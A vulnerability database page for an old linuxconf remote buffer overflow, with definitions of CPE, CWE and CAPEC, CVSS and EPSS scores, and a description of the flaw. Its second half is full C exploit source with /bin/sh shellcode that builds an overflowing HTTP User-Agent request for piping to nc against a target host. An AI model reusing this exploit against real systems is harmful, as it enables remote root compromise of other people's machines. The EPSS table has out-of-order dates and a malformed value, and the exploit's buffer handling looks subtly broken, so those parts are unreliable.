CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Buffer overflow in Linux linuxconf package allows remote attackers to gain root privileges via a long parameter.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
10
AV:N/AC:L/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
2.45%
–
2023-07-02
–
–
–
2.45%
–
2024-02-11
–
–
–
4.53%
–
2024-06-02
–
–
–
4.53%
–
2024-06-09
–
–
–
–
–
2024-06-09
–
–
–
4.53%
–
2024-12-22
–
–
–
4.53%
–
2025-02-16
–
–
–
4.53%
–
2025-01-19
–
–
–
4.53%
–
2025-02-16
–
–
–
4.53%
–
2025-03-18
–
–
–
–
3.11%
2025-03-30
–
–
–
–
2.98%
2025-03-30
–
–
–
–
2.98,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
// source: https://www.securityfocus.com/bid/2352/info
Linuxconf is a Linux configuration utility from Solucorp.
An attacker supplying excess data to the USER_AGENT field in vulnerable versions of Linuxconf. This data can overflow the relevant buffer, creating a stack overflow and, properly exploited, allowing remote execution of arbitrary code as root.
/*
linuxconf exploit by R00T-X (c) 1999
USER_AGENT overflow x86
should work on all linux's but you need to have
network access to linuxconf
greetz to: j0e, AcidCrunCh, |420|, umm and everyone who knows me, heh :P
have fun with this but for EDUCATIONAL PURPOSES :)
Usage: (./linexp <offset>;cat)| nc targethost 98
*/
char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh\x00";
#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>
#define BUFLEN 1025
#define NOP 0x90
void
main (int argc, char *argv[])
{
char buf[BUFLEN];
int offset,nop,i;
unsigned long esp;
char shell[1024+300];
if(argc < 2)
{
fprintf(stderr,"usage: (%s <offset>;cat)|nc host.com 98\n", argv[0]);
exit(0);
}
nop = 511;
esp = 0xefbfd5e8;
offset = atoi(argv[1]);
memset(buf, NOP, BUFLEN);
memcpy(buf+(long)nop, shell, strlen(shell));
for (i = 256; i < BUFLEN - 3; i += 2)
{ *((int *) &buf[i]) = esp + (long) offset;
shell[ sizeof(shell)-1 ] = 0;
}
printf("POST / HTTP/1.0\r\nContent-Length: %d, User-agent: \r\n", BUFLEN);
for (i = 0; i < BUFLEN; i++)
putchar(buf[i]);
printf("\r\n");
return;
}